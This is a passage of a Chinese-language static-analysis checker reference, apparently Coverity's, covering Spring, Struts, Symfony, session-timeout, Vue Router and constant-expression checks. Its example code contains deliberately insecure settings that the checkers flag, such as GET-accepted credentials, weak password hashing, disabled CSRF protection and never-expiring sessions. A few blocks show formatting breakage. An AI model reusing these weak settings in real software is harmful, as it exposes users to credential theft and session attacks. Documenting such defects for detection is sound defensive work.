CONFIG.SPRING_SECURITY_UNSAFE_AUTHENTICATION_FILTER 检查器标记以下情况 : setPostOnly() 方法中的 postOnly 参数显式设置为 false , 以允许在 GET 请求中接受凭据。它可能将用户名或密码凭据泄露给攻击者。

CONFIG.SPRING_SECURITY_UNSAFE_AUTHENTICATION_FILTER 检查器默认禁用。可以使用 --webapp-security 选项启用它。

4.93.2. 示例

本部分提供了一个或多个 CONFIG.SPRING_SECURITY_UNSAFE_AUTHENTICATION_FILTER 示例。

在下面的示例中 , 如果在 setPostOnly() 中将 postOnly 参数显式设置为 false , 将显示 CONFIG.SPRING_SECURITY_UNSAFE_AUTHENTICATION_FILTER 缺陷。

```
package org.springframework.security.web.authentication;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.springframework.security.core.Authentication;
import org.springframework.security.core.AuthenticationException;
import
org.springframework.security.web.authentication.UsernamePasswordAuthenticationFilter;

public class UnsafeAuthenticationFilter extends UsernamePasswordAuthenticationFilter
{
    public UnsafeAuthenticationFilter()
    {
        super();
    }

    public Authentication attemptAuthentication(HttpServletRequest request,
HttpServletResponse response) throws AuthenticationException {
        setPostOnly(false); //defect here
        return super.attemptAuthentication(request, response);
    }
}
```

4.94. CONFIG.SPRING_SECURITY_WEAK_PASSWORD_HASH 安全检查器

4.94.1. 概述

支持的语言：. Java

CONFIG.SPRING_SECURITY_WEAK_PASSWORD_HASH 查找使用弱 hash 算法或者根本不使用 hash 算法创建实现 PasswordEncoder 接口的类的实例的情况。

CONFIG.SPRING_SECURITY_WEAK_PASSWORD_HASH 默认禁用。它仅在审计模式下启用。

4.94.2. 示例

本部分提供了一个或多个 CONFIG.SPRING_SECURITY_WEAK_PASSWORD_HASH 示例。

在下面的示例中，针对 LdapShaPasswordEncoder 类的初始化显示
CONFIG.SPRING_SECURITY_WEAK_PASSWORD_HASH 缺陷。

```
import org.springframework.security.config.annotation.authentication.builders.
AuthenticationManagerBuilder;
import org.springframework.security.config.annotation.web.configuration.
WebSecurityConfigurerAdapter;
import org.springframework.security.core.userdetails.UserDetailsService;
import org.springframework.security.crypto.password.LdapShaPasswordEncoder;
import org.springframework.security.crypto.password.PasswordEncoder;
import org.springframework.web.filter.CorsFilter;
```

```

public class Test extends WebSecurityConfigurerAdapter {

    private final AuthenticationManagerBuilder authenticationManagerBuilder;

    private final UserDetailsService userDetailsService;

    private final CorsFilter corsFilter;

    public Test(AuthenticationManagerBuilder authenticationManagerBuilder,
               UserDetailsService userDetailsService,
               CorsFilter corsFilter) {

        this.authenticationManagerBuilder = authenticationManagerBuilder;
        this.userDetailsService = userDetailsService;
        this.corsFilter = corsFilter;
    }

    public void init() {
        try {
            authenticationManagerBuilder
                .userDetailsService(userDetailsService)
                .passwordEncoder(passwordEncoderBAD());
        } catch (Exception e) {
            //throw new BeanInitializationException("Security configuration failed",
e);
        }
    }

    public PasswordEncoder passwordEncoderBAD() {
        return new LdapShaPasswordEncoder(); //defect here
    }
}

```

4.95. CONFIG.STRUTS2_CONFIG_BROWSER_PLUGIN

安全检查器

4.95.1. 概述

支持的语言：. Java

CONFIG.STRUTS2_CONFIG_BROWSER_PLUGIN 可查找应用程序使用 Struts 2 config-browser 插件的情况。 config-browser 插件可以向任意用户泄露操作映射和配置信息。

先决条件： 此检查器可针对非源代码文件（例如配置）运行，并生成缺陷报告。要运行此检查器，您首先必须通过调用 cov-emit-java --war（与 --webapp-archive 相同）或以下选项之一发出配置：--findwars、--findwars-unpacked、--findears 或 --findears-unpacked。

默认禁用： CONFIG.STRUTS2_CONFIG_BROWSER_PLUGIN 默认禁用。要启用它，您可以在 cov-analyze 命令中使用 --enable 选项。

Web 应用程序安全检查器启用：要启用 CONFIG.STRUTS2_CONFIG_BROWSER_PLUGIN 以及其他 Web 应用程序检查器，请使用 --webapp-security 选项。

4.95.2. 示例

本部分提供了一个或多个 CONFIG.STRUTS2_CONFIG_BROWSER_PLUGIN 示例。

下面的示例说明 Maven 配置中包含 struts2-config-browser-plugin。

```
<dependency>
  <groupId>org.apache.struts</groupId>
  <artifactId>struts2-config-browser-plugin</artifactId>
  <version>${struts2.version}</version>
  <scope>provided</scope>
</dependency>
```

4.95.3. 事件

本部分描述了 CONFIG.STRUTS2_CONFIG_BROWSER_PLUGIN 检查器生成的一个或多个事件。

- event - (主要事件) 问题的位置。
- remediation - 关于修复问题的建议。

4.96. CONFIG.STRUTS2_DYNAMIC_METHOD_INVOCATION 安全检查器

4.96.1. 概述

支持的语言：. Java

CONFIG.STRUTS2_DYNAMIC_METHOD_INVOCATION 查找启用了 Struts 2 DynamicMethodInvocation 属性的情况。如果启用 DynamicMethodInvocation，则用户可以调用所有公开、零参数方法，这可能导致意外行为。

先决条件：. 此检查器可针对非源代码文件（例如配置）运行，并生成缺陷报告。要运行此检查器，您首先必须通过调用 cov-emit-java --war（与 --webapp-archive 相同）或以下选项之一发出配置：--findwars、--findwars-unpacked、--findears 或 --findears-unpacked。

默认禁用：CONFIG.STRUTS2_DYNAMIC_METHOD_INVOCATION 默认禁用。要启用它，您可以在 cov-analyze 命令中使用 --enable 选项。

Web 应用程序安全检查器启用：要启用 CONFIG.STRUTS2_DYNAMIC_METHOD_INVOCATION 以及其他 Web 应用程序检查器，请使用 --webapp-security 选项。

4.96.2. 示例

本部分提供了一个或多个 CONFIG.STRUTS2_DYNAMIC_METHOD_INVOCATION 示例。

下面的示例说明了启用 `DynamicMethodInvocation` 的 Struts 2 XML 配置。

```
<!DOCTYPE struts PUBLIC
    "-//Apache Software Foundation//DTD Struts Configuration 2.1.7//EN"
    "http://struts.apache.org/dtds/struts-2.1.7.dtd">
<struts>
    <constant name="struts.custom.i18n.resources" value="global" />
    <constant name="struts.enable.DynamicMethodInvocation" value="true" />
    ...
</struts>
```

4.96.3. 事件

本部分描述了 `CONFIG.STRUTS2_DYNAMIC_METHOD_INVOCATION` 检查器生成的一个或多个事件。

- `event` - (主要事件) 问题的位置。
- `remediation` - 关于修复问题的建议。

4.97. CONFIG.STRUTS2_ENABLED_DEV_MODE

安全检查器

4.97.1. 概述

支持的语言 : . Java

`CONFIG.STRUTS2_ENABLED_DEV_MODE` 查找启用了 Struts 2 `devMode` 属性的情况。该检查器可检查 Struts 属性或 XML 配置文件以查找此类情况。如果启用了 `devMode`，应用程序可能会向未经授权的用户泄露敏感调试信息和日志信息。

先决条件 : . 此检查器可针对非源代码文件 (例如配置) 运行，并生成缺陷报告。要运行此检查器，您首先必须通过调用 `cov-emit-java --war` (与 `--webapp-archive` 相同) 或以下选项之一发出配置 : `--findwars`、`--findwars-unpacked`、`--findears` 或 `--findears-unpacked` 。

默认禁用 : `CONFIG.STRUTS2_ENABLED_DEV_MODE` 默认禁用。要启用它，您可以在 `cov-analyze` 命令中使用 `--enable` 选项。

Web 应用程序安全检查器启用 : 要启用 `CONFIG.STRUTS2_ENABLED_DEV_MODE` 以及其他 Web 应用程序检查器，请使用 `--webapp-security` 选项。

4.97.2. 示例

本部分提供了一个或多个 `CONFIG.STRUTS2_ENABLED_DEV_MODE` 示例。

由于下面的 Struts 2 配置属性文件启用了 `devMode`，因此该检查器将报告缺陷。

```
### when set to true, Struts will act
### much more friendly for developers. This includes:
### - struts.i18n.reload = true
```

```
### - struts.configuration.xml.reload = true
### - raising various debug or ignorable problems to errors
###   For example: normally a request to foo.action?someUnknownField=true should
###                 be ignored (given that any value can come from the web and it
###                 should not be trusted). However, during development, it may be
###                 useful to know when these errors are happening and be told of
###                 them right away.
struts.devMode = true
```

4.97.3. 事件

本部分描述了 CONFIG.STRUTS2_ENABLED_DEV_MODE 检查器生成的一个或多个事件。

- event - (主要事件) 问题的位置。
- remediation - 关于修复问题的建议。

4.98. CONFIG.SYMFONY_CSRF_PROTECTION_DISABLED

安全检查器

4.98.1. 概述

支持的语言 : . PHP

CONFIG.SYMFONY_CSRF_PROTECTION_DISABLED 检查器在禁用跨站请求伪造 (CSRF) 保护时可以识别 Symfony 应用程序。对于不是严格只读的所有应用程序，建议启用 CSRF 保护。

CSRF 是一种攻击方式，它可利用 web 客户端已验证的会话对远程服务器执行有害操作。通常，用户会在不知情的情况下加载会发出具有其他作用的请求的恶意 web 网页。由于用户 cookie 伴随对站点的请求，因此活动会话标识符也会伴随恶意请求。即使请求起源于另一站点中的内容也是如此。

在服务器上，成功的 CSRF 攻击非常难以检测并且很难与合法的用户操作区分开来：这两种事务都源自用户的浏览器，并且都包含适当的会话标识符。从 CSRF 攻击中恢复也同样困难。

默认禁用： CONFIG.SYMFONY_CSRF_PROTECTION_DISABLED 默认禁用。要启用它，您可以在 cov-analyze 命令中使用 --enable 选项。

Web 应用程序安全检查器启用：要启用 CONFIG.SYMFONY_CSRF_PROTECTION_DISABLED 以及其他 Web 应用程序检查器，请使用 --webapp-security 选项。

4.98.2. 缺陷剖析

CONFIG.SYMFONY_CSRF_PROTECTION_DISABLED 显示了 Symfony 配置中禁用 CSRF 保护的行。

4.98.3. 示例

本部分提供了一个或多个 CONFIG.SYMFONY_CSRF_PROTECTION_DISABLED 示例。

Symfony 中的 CSRF 保护默认处于启用状态。 CONFIG.SYMFONY_CSRF_PROTECTION_DISABLED 报告了任何 Symfony 配置中的一个缺陷（如下例所示），该缺陷显式禁用 CSRF 保护。

```
# app/config/config.yml

# [ ... ]

framework:
    # [ ... ]
    csrf_protection: false
    # [ ... ]

# [ ... ]
```

4.99. CONFIG.UNSAFE_SESSION_TIMEOUT

安全检查器

4.99.1. 概述

支持的语言：. Go、Java、JavaScript、TypeScript

CONFIG.UNSAFE_SESSION_TIMEOUT 检查器查找会话超过 30 分钟的情况。

默认启用：CONFIG.UNSAFE_SESSION_TIMEOUT 默认对 Go 启用。

默认禁用：CONFIG.UNSAFE_SESSION_TIMEOUT 默认对 Java、JavaScript 和 TypeScript 禁用。要启用它，您可以在 cov-analyze 命令中使用 --enable 选项。

Web 应用程序安全检查器启用：要启用 CONFIG.UNSAFE_SESSION_TIMEOUT 以及其他 Web 应用程序检查器，请使用 --webapp-security 选项。

4.99.1.1. Go

CONFIG.UNSAFE_SESSION_TIMEOUT 检查器查找 Gorilla、Gin-Gonic 或 Beego 的会话超过 30 分钟的情况。

4.99.1.2. Java

CONFIG.UNSAFE_SESSION_TIMEOUT 检查器可查找 web.xml 文件将 <session-timeout> 元素设置为 -1 (这意味着会话永不过期) 的情况。最佳做法是将会话超时时间设置为可用的最低值 (具体取决于应用程序的使用环境)。大部分 Web 管理员都将此值设置为 8 分钟。

4.99.1.3. JavaScript 和 TypeScript

CONFIG.UNSAFE_SESSION_TIMEOUT 检查器查找 client-sessions 的会话超过 30 分钟的情况。

4.99.2. 示例

本部分提供了一个或多个 CONFIG.UNSAFE_SESSION_TIMEOUT 示例。

4.99.2.1. Go

在下面的示例中，`sessions.Options` 配置中显示 CONFIG.UNSAFE_SESSION_TIMEOUT 缺陷，因为 `MaxAge` 属性被设置为超过 1800 秒。

```
```
package main
import "github.com/gorilla/sessions"

var (
 defaultSessionOptions = &sessions.Options{ // defect here
 Path: "/",
 Domain: "",
 MaxAge: 86400 * 7,
 Secure: false,
 HttpOnly: true,
 }
)
```
```

```

#### 4.99.2.2. Java

在下面的示例中，针对带有注释 1 的语句显示缺陷；但针对带有注释 2 的代码未显示缺陷。

```
<web-app>
 <session-config>
 <session-timeout>-1</session-timeout> // 1
 </session-config>
</web-app>

<web-app>
 <session-config>
 <session-timeout>8</session-timeout> // 2
 </session-config>
</web-app>
```

#### 4.99.2.3. JavaScript 和 TypeScript

在下面的示例中，`client-sessions` 配置中显示了一个 CONFIG.UNSAFE\_SESSION\_TIMEOUT 缺陷，因为 `duration` 属性被忽略（默认值为 24 小时），这是一个不安全的设置：

```
var express = require('express');
var app = express();
var sessions = require('client-sessions');
var config = require('config.json');

app.use(sessions({ // Defect here
 cookieName: 'demoSession',
 secret: config.secret,
}));
```

在下面的示例中，对于在会话配置中分配给 `store` 属性的新 `mongoStore` 实例，显示 `CONFIG.UNSAFE_SESSION_TIMEOUT` 缺陷，因为 `ttl` 属性在 `MongoStore` 中被忽略（默认值为 14 天），这是一个不安全的设置：

```
var express = require('express');
var session = require('express-session');
var mongoStore = require('connect-mongo')(session);
var mongoose = require('mongoose');
var config = require('config.json');

var mongourl = "mongodb://localhost:27017/testConnectMongo";
mongoose.connect(mongourl);
var db = mongoose.connection;
var app = express();

app.use(session({
 saveUninitialized: true,
 resave: true,
 secret: config.secret,
 store: new mongoStore({
 mongooseConnection: db,
 collection: 'expSessions',
 autoremove: 'native'
 }),
 cookie: {
 httpOnly: true,
 secure: true
 }
}));
```

在下面的示例中，对于在 `express-session` 配置中分配给 `store` 属性的新 `redisStore` 实例，显示 `CONFIG.UNSAFE_SESSION_TIMEOUT` 缺陷，因为 `ttl` 属性在 `redisStore` 中被忽略（默认值为 24 小时），这是一个不安全的设置。

```
var app = require('express')();
var session = require('express-session');
//import connect-redis to save each cookie locally in a Redis NoSQL database
var redisStore = require('connect-redis')(session);
var config = require('config.json');
var secret = config.secret;

app.use(session({
 saveUninitialized: true,
 resave: true,
 secret: secret,
 cookie: {
 httpOnly: true,
 secure: true
 },
 store: new redisStore({ //CONFIG.UNSAFE_SESSION_TIMEOUT defect
 host: 'localhost',
 ttl: 1440
 })
}));
```

```

 port: 6379
 })
}));

```

在下面的示例中，对于在 `express-session` 配置中分配给 `store` 属性的新 `DatastoreStore` 实例，显示 `CONFIG.UNSAFE_SESSION_TIMEOUT` 缺陷，因为 `expirationMs` 属性在 `DatastoreStore` 中被忽略（默认值为 0），这是一个不安全的设置：

```

var {Datastore} = require('@google-cloud/datastore');
var express = require('express');
var session = require('express-session');
var app = express();
var config = require('config.json');
var secret = config.secret;

const DatastoreStore = require('@google-cloud/connect-datastore')(session);

app.use(session({
 saveUninitialized: true,
 resave: true,
 secret: secret,
 cookie: {
 httpOnly: true,
 secure: true
 },
 store: new DatastoreStore({ //#defect#CONFIG.UNSAFE_SESSION_TIMEOUT
 kind: 'express-sessions',
 //expirationMs property is omitted - defaults to 0
 dataset: new Datastore({
 projectId: 'YOUR_PROJECT_ID' || process.env.GCLOUD_PROJECT,
 keyFilename: '/path/to/keyfile.json' ||
 process.env.GOOGLE_APPLICATION_CREDENTIALS
 })
 })
});
```

## 4.100. CONFIG.VUE\_ROUTER\_PARAMS\_EXPOSED\_TO\_PROPS

质量检查器、安全检查器

### 4.100.1. 概述

支持的语言：. JavaScript、TypeScript

`CONFIG.VUE_ROUTER_PARAMS_EXPOSED_TO_PROPS` 可查找 `Vue Router` 被配置为在路由上以布尔模式使用 `props` 的情况。在此情况下，路由将所有路由参数作为组件 `props` 传递给组件。这是通过在特定路由上将 `props` 属性设置为 `true` 实现的。这种配置是一种错误的做法，它将所有参数暴露给组件或子组件，并违反了“需要知道”的原则。

### 4.100.2. 启用

默认禁用。仅在审计模式下启用。

### 4.100.3. 示例

本部分提供了一个或多个 CONFIG.VUE\_ROUTER\_PARAMS\_EXPOSED\_TO\_PROPS 示例。

在下面的示例中，针对 /user/:id 路由上设置的 props 属性显示 CONFIG.VUE\_ROUTER\_PARAMS\_EXPOSED\_TO\_PROPS 缺陷。

```
const User = {
 props: ['id'],
 template: `
 <div class="user">
 <h2>User {{ id }}</h2>
 </div>
 `
}

const router = new VueRouter({
 routes:
 [
 {
 path: '/user/:id',
 component: User,
 props: true // CONFIG.VUE_ROUTER_PARAMS_EXPOSED_TO_PROPS defect
 }
]
})
```

### 4.100.4. 事件

本部分描述了 CONFIG.VUE\_ROUTER\_PARAMS\_EXPOSED\_TO\_PROPS 检查器生成的一个或多个事件。

- MainEvent - 路由上的配置 props 设置为 true。
- Event - Vue Router 实例上的路由设置。
- Remediation - 提供有关如何通过在路由上正确配置 props 来解决缺陷的建议。

### 4.100.5. 与分类的关系

2017 年 OWASP 十大安全风险

A6:2017 - 安全错误配置

CWE 缺陷库 (CWE)

CWE-200 : 信息暴露

### 4.100.6. 缺陷剖析

影响：低

Vue Router 将所有路由参数传递到路由上的组件或子组件的 `props` 中，而不检查组件是否实际需要每个参数。因此，组件可以访问不适合组件使用的参数。

此问题不一定表现出安全漏洞，但它确定了可能导致信息暴露的不良做法。

修复：为遵循“需要知道”的原则并保护应用程序免受信息暴露，请仅对组件需要之外的不返回路径参数的函数将 `props` 设置为 `true`。

## 4.101. CONFIG.WEAK\_SECURITY\_CONSTRAINT

安全检查器

### 4.101.1. 概述

支持的语言：. Java

`CONFIG.WEAK_SECURITY_CONSTRAINT` 检查器标记在 XML 配置文件中对 Java servlet 没有适当授权的 `<security-constraint>` 实例。

`CONFIG.WEAK_SECURITY_CONSTRAINT` 检查器默认禁用。它可以通过 `--webapp-security` 启用。

### 4.101.2. 示例

本部分提供了一个或多个 `CONFIG.WEAK_SECURITY_CONSTRAINT` 示例。

在下面的示例中，针对具有 `<auth-constraint>` 元素（包括被设置为通配符 \* 的 `<role-name>`）的 `<security-constraint>` 元素，显示了 `CONFIG.WEAK_SECURITY_CONSTRAINT` 缺陷。

```
<?xml version="1.0" encoding="ISO-8859-1"?>
<web-app>
 <security-constraint> <!-- defect here -->
 <auth-constraint>
 <role-name>*</role-name>
 </auth-constraint>
 </security-constraint>
</web-app>
```

## 4.102. CONSTANT\_EXPRESSION\_RESULT

质量检查器

### 4.102.1. 概述

支持的语言：. C、C++、C#、Go、Java、JavaScript、Objective-C、Objective-C+ +、PHP、Python、Ruby、Swift、Scala 和 TypeScript

`CONSTANT_EXPRESSION_RESULT` 查找总是将表达式求值为一个特定值，但看起来是希望求值为不同值（因为该表达式采用了至少一个变量）的很多情况。例如，片段 `if (x|1)` 似乎尝试测试 `x` 的最低有效位，但代码使用的是位或而不是位与，因此该条件总是评估为 `true`。该检查器进行了调整，以避免使用条件编译的代码中发生误报，但关联的判别法可以通过检查器选项控制。

默认启用 : CONSTANT\_EXPRESSION\_RESULT 默认启用。有关启用/禁用详情和选项 , 请参阅 Section 1.2, “启用和禁用检查器”。

CONSTANT\_EXPRESSION\_RESULT 可查找具有以下情况的表达式 :

- 将一个运算符应用到了一个或多个子表达式。
- 至少一个操作数不是常量。
- 运算的结果在运行时是常量 , 或由于操作数相同 , 运算不必要。

此类情况很可能是程序缺陷。它们通常由以下其中一种错误导致 :

- 运算符混淆 : 在打算使用 & 或 | 的位置使用了 && 或 || , 反之亦然。
- 优先级混淆 : 运算符优先级规则导致结果与预期的不同。
- 类型大小或强制混淆 : 由于精度损失 , 变量的值实际上为常量。
- 真值混淆 : 该语言不支持常见的 0 与 false 之间的等价。
- 复制/粘贴错误 : 两个操作数相同 , 但本打算不同。
- 不必要的复杂性 : 较简单的表达式可以实现相同的结果。

#### 4.102.2. 缺陷剖析

CONSTANT\_EXPRESSION\_RESULT 缺陷显示了包含运行时变量但其结果值在运行时不变化的表达式。另外 , 它还显示包含在运行时具有相同值的两个操作数的表达式 , 以及结果值因此可预测的表达式。

#### 4.102.3. 示例

本部分提供了一个或多个 CONSTANT\_EXPRESSION\_RESULT 示例。

##### 4.102.3.1. C/C++

在下面的示例中 , 无论 flags 的实际值为何 , !flags 都只能产生 0 或 1 , 而且 0 或 1 与 2 作位与运算总是产生 0 :

```
#define FLAG 2
extern int flags;

if (!flags & FLAG) // Defect: always yields 0
```

在此示例中 , 正确的表达式可能是 :

```
!(flags & 2)
```

下面的示例始终为 true , 因为它被解释为 (a == b) ? 1 : 2 , 因此两种可能的结构都是非零值 :

```
if (a == b ? 1 : 2)
```

#### 4.102.3.2. C#

在下面的示例中，无论 `flags` 的实际值为何，一旦对 `FLAG` 中的额外 1 位执行了或运算（使用 `|` 运算符），结果就绝不会为零。

示例：

```
public const int FLAG = 1;
public void Example1(int flags)
{
 if ((flags | FLAG) != 0) {
 // ...
 }
}
```

在此示例中，正确的表达式可能是：

```
if ((flags & FLAG) != 0)
```

在下面的示例中，位 `0x10`（在 `someBits` 中进行测试）与唯一的位 `1`（在与 `|` 表达式进行比较的值中）不同，因此两者绝不会相等。

```
public void Example2(int someBits)
{
 if ((someBits | 0x10) == 1) {
 // ...
 }
}
```

#### 4.102.3.3. Go

在下面的示例中，`if` 语句导致了 `CONSTANT_EXPRESSION_RESULT` 缺陷。

```
func cst(a, b, someBits int) int {
 if (someBits & 0x10) == 1 { // CONSTANT_EXPRESSION_RESULT defect
 return a
 }
 return b
}
```

#### 4.102.3.4. Java

在下面的示例中，无论 `flags` 的实际值为何，一旦对 `FLAG` 中的额外 1 位执行了 `or` 运算，结果就绝不会为零。

```
int flags;
static final int FLAG = 1;
...
if ((flags | FLAG) != 0) // Defect: always true
```

在此示例中，正确的表达式可能是：

```
if ((flags & FLAG) != 0)
```

在下面的示例中，位 0x10（在 someBits 中进行测试）与唯一的位 1（在与 & 表达式进行比较的值中）不同，因此两者绝不会相等。

```
int someBits;
...
if ((someBits & 0x10) == 1) // Defect: always false
```

下面的示例无意义地将 o1 测试了两次，未能测试 o2，这可能是有意为之：

```
void myMethod(Object o1, Object o2) {
 if ((o1 != null) && (o1 != null)) // Defect: pointless expression"
```

#### 4.102.3.5. Scala

```
var someBits : Int = 1
...
if ((someBits & 0x10) == 1) // Defect: always false
```

#### 4.102.3.6. JavaScript

在下面的示例中，当开发人员有意测试引号字符串时，typeof 运算会与非字符串内容 "undefined" 进行比较。

```
if (typeof s === undefined) { // Defect: always false
```

#### 4.102.3.7. PHP

```
function test($val) {
 if (! $val === null) { // A CONSTANT_EXPRESSION_RESULT here ('!==' is intended)
 return;
 ...
}
```

#### 4.102.3.8. Python

```
def test(val):
 if ~(val & 1): # A CONSTANT_EXPRESSION_RESULT here ('~' probably should be 'not')
 return None
 ...

```

#### 4.102.3.9. Ruby

```
def test(val)
 z() if ~(s == 0) # A CONSTANT_EXPRESSION_RESULT here. '! (s == 0)' is intended.
```

```
end
```

#### 4.102.3.10. Swift

```
func test(_ x : Int) {
 if (x | 1 == 0) { // CONSTANT_EXPRESSION_RESULT
 doSomething();
 }
}
```

在此示例中，按位或 1 将导致最低位设置为 1，这将确保结果不是 0。可能打算使用按位与而不是按位或。

#### 4.102.4. 选项

本部分描述了一个或多个 CONSTANT\_EXPRESSION\_RESULT 选项。

您可以设置特定检查器选项值，方法是使用 cov-analyze 命令的 --checker-option 来传递这些值。有关详细信息，请参阅《Coverity 命令说明书》。

- CONSTANT\_EXPRESSION\_RESULT:report\_bit\_and\_with\_zero:<boolean> - 如果此选项被设置为 true，该检查器会将与 0 作位与 (&) 的表达式视为缺陷。默认值为 CONSTANT\_EXPRESSION\_RESULT:report\_bit\_and\_with\_zero:false (适用于 C、C++、Go、JavaScript、TypeScript、Objective-C 和 Objective-C++)。默认值为 CONSTANT\_EXPRESSION\_RESULT:report\_bit\_and\_with\_zero:true (适用于 C#、Java、PHP、Python、Swift 和 Scala)。

如果将 cov-analyze 命令的 --aggressiveness-level 选项设置为 medium ( 或 high )，则该检查器选项会自动设置为 true。

C/C++ 示例：

```
#if CONFIG_A
#define FLAG 1
#elif CONFIG_B
#define FLAG 0
#endif
...
if (flags & FLAG) // Defect: only if
 // report_bit_and_with_zero option:true set
```

默认情况下，这些情况不会被报告为缺陷，因为一些程序采用仅用于特定配置的运行时标志，并且不使用这些标志的配置将它们定义为 0，尤其会导致依赖这些标志的代码被编译出。在上一个示例中，对于配置 CONFIG\_B，flags & FLAG 始终为 false (0)，但这是特意为之。

与 0 作位与的表达式不会被报告为缺陷，前提是它们完全发生在宏扩展内。要将这些包括在内，请使用 report\_bit\_and\_with\_zero\_in\_macros:true 选项 (请参阅下一节)。

C# 示例：

```
public enum MyFlags
```

```

{
 FLAG0 = 0,
 FLAG1 = 1,
 // ...
 FLAG8 = 128
}

public void BitAndWithZero(MyFlags flags, int i)
{
 if ((flags & MyFlags.FLAG0) != 0) {
 // ...
 }
 int j = 127 & 128 & i;
 int k = 2 & i & 1;
}

```

flags & MyFlags.FLAG0 的结果始终为 0，因为 MyFlags.FLAG0 为 0。同样，127 (0x7f) & 128 (0x80) 不会共同分享任何位，因此对两者执行与运算（使用 & 运算符）后会产生 0；i 是无关的，这可能不是有意的。

Java 示例：

```

static final int FLAG = 0;

...
if (flags & FLAG) // Defect: only if
 // report_bit_and_with_zero option:true set

```

- CONSTANT\_EXPRESSION\_RESULT:report\_bit\_and\_with\_zero\_in\_macros:<boolean>  
- 当此选项被设置为 true 时，该检查器会将与 0 作位与的表达式视为缺陷，即使它们完全发生在宏扩展内。默认值为 CONSTANT\_EXPRESSION\_RESULT:report\_bit\_and\_with\_zero\_in\_macros:false（仅适用于 C 和 C++）。

如果将 cov-analyze 命令的 --aggressiveness-level 选项设置为 high，则该检查器选项会自动设置为 true。

- CONSTANT\_EXPRESSION\_RESULT:report\_constant\_logical\_operands:<boolean>  
- 当此选项被设置为 true 时，该检查器将报告在逻辑与 (&&) 或者逻辑或 (||) 环境中其中一个操作数为常量表达式的构造。默认值为 CONSTANT\_EXPRESSION\_RESULT:report\_constant\_logical\_operands:false（适用于 C、C++、C#、Go、Java、Objective-C、Objective-C++、PHP、Swift 和 Scala）。不适用于其他语言。

如果将 cov-analyze 命令的 --aggressiveness-level 选项设置为 medium（或 high），则该检查器选项会自动设置为 true。

C/C++ 示例：

```
#define CONFIG_FLAG0 1
#define CONFIG_FLAG1 2
```

```
...
#define CONFIG_FLAG7 8

/* The current configuration: */
#define CONFIG_FLAGS (CONFIG_FLAG0 | CONFIG_FLAG1 | CONFIG_FLAG5)

#define THING2_ENABLED (CONFIG_FLAGS & CONFIG_FLAG2)

...
if (THING2_ENABLED && do_something_for_thing2())
...
```

由于 THING2\_ENABLED 评估为 0，下面的表达式始终为 false (0)，但默认不报告此问题，因为这是有意为之，在某些配置中 THING2\_ENABLED 为 0。

```
THING2_ENABLED && do_something_for_thing2()
```

即使启用了此选项，如果它们完全发生在宏扩展内，通常也不会报告这些缺陷。要报告宏扩展内的这些缺陷，请使用 report\_constant\_logical\_operands\_in\_macros 选项。

C# 示例：

在下面的示例中，由于 SOME\_FLAGS & MyFlags.FLAG3 评估为 0，(SOME\_FLAGS & MyFlags.FLAG3) != 0 && otherCondition 将评估为 false。如果此类构造是有意为之，您可能需要禁用此选项。

```
public const MyFlags SOME_FLAGS =
 MyFlags.FLAG1 | MyFlags.FLAG2 | MyFlags.FLAG4;

public void ResultIndependentOfOperands(bool otherCondition)
{
 if ((SOME_FLAGS & MyFlags.FLAG3) != 0 && otherCondition) {
 // ...
 }
}
```

Java 示例：

在下面的示例中，由于 SOME\_FLAGS & FLAG2" 评估为 0，(SOME\_FLAGS & FLAG2) != 0 将始终评估为 false，且整个表达式 (SOME\_FLAGS & FLAG2) != 0 && doSomething2() 将评估为 false。如果是有意使用此类构造，您可能需要禁用此选项。

```
static final int FLAG0 = 1;
static final int FLAG1 = 2;
...
static final int FLAG7 = 128;
...
static final int SOME_FLAGS = FLAG0 | FLAG1 | FLAG5;
...
if ((SOME_FLAGS & FLAG2) != 0 && doSomething2())
```

...

- CONSTANT\_EXPRESSION\_RESULT:report\_constant\_logical\_operands\_in\_macros:<boolean>  
- 当此选项被设置为 true 时，该检查器将报告 report\_constant\_logical\_operands 选项发现的同类问题，即使它们完全发生在宏扩展内。默认值为 CONSTANT\_EXPRESSION\_RESULT:report\_constant\_logical\_operands\_in\_macros:false (仅适用于 C 和 C++)。不适用于其他语言。

如果将 cov-analyze 命令的 --aggressiveness-level 选项设置为 high，则该检查器选项会自动设置为 true。

- CONSTANT\_EXPRESSION\_RESULT:report\_unnecessary\_op\_assign:<boolean>  
- 当此选项被设置为 true 时，该检查器会报告赋值常量值，因而可以替换成简单赋值的 &= 或 |= 运算。默认值为 CONSTANT\_EXPRESSION\_RESULT:report\_unnecessary\_op\_assign:false (适用于除 Ruby 之外的所有语言)。

如果将 cov-analyze 命令的 --aggressiveness-level 选项设置为 high，则该检查器选项会自动设置为 true。

C/C++ 示例：

```
struct s {
 unsigned int oneBitField : 1; /* a one-bit field */
};

struct s *p;
...
p->oneBitField |= 1;
```

C# 示例：

```
public const ushort MASK = 0xffff;
public void UnnecessaryOpAssign(ushort us)
{
 us |= MASK;
}
```

|= 的结果只是将 0xffff 赋值给 us。

Java 示例：

```
static final short MASK = -1;
public void UnnecessaryOpAssign(short s)
{
 s |= MASK;
}
```

#### 4.102.5. 事件

本部分描述了 CONSTANT\_EXPRESSION\_RESULT 检查器生成的一个或多个事件。

- `bit_and_with_zero` - 与 0 作位与的表达式。设置了 `report_bit_and_with_zero` 选项时出现。
- `pointless_expression` - `&&` 或 `||` 运算符两侧的非常量表达式相同。此类表达式的评估结果为与其任一相同操作数相同的值。通常，其中一个操作数打算与另一个操作数不同。
- `result_independent_of_operands` - 该表达式包含一个常量值，无论操作数的值为何。

对于此类事件的子集，该检查器将找出触发该事件的可能的编程错误：

- `extra_high_bits` -`=&` 或 `|=` 表达式右侧的类型宽于左侧，并且具有不会影响左侧的高位比特集。

示例：

```
short_variable |= 0x10000; /* No effect on 'short_variable' */
```

- `logical_vs_bitwise` - 逻辑运算符（例如逻辑否定运算符 `[!]`）似乎已被位运算符（例如求补运算符 `[~]`）取代，反之亦然。这是 `result_independent_of_operands` 的特定情况，其中可能的根本原因可通过确定的情况推导。

示例：

```
#define FLAG1 1
#define FLAG2 2
#define FLAG3 4
#define FLAGS (FLAG1 | FLAG2 | FLAG3)

/* Defect: assigns 0 rather than 0xffffffff8 */
int supposedToBeBitwiseComplementOfFLAGS = !FLAGS;
```

- `missing_parentheses` - 运算符优先级语句需要一对圆括号。

示例：

```
!var & FLAGS /* Did you intend "!(var & FLAGS)" ? */
```

- `operator_confusion` - 一个运算符被替换成另一个。

示例：

```
(var << 8) & 0xff /* Did you intend '>>' instead of '<<'? */
```

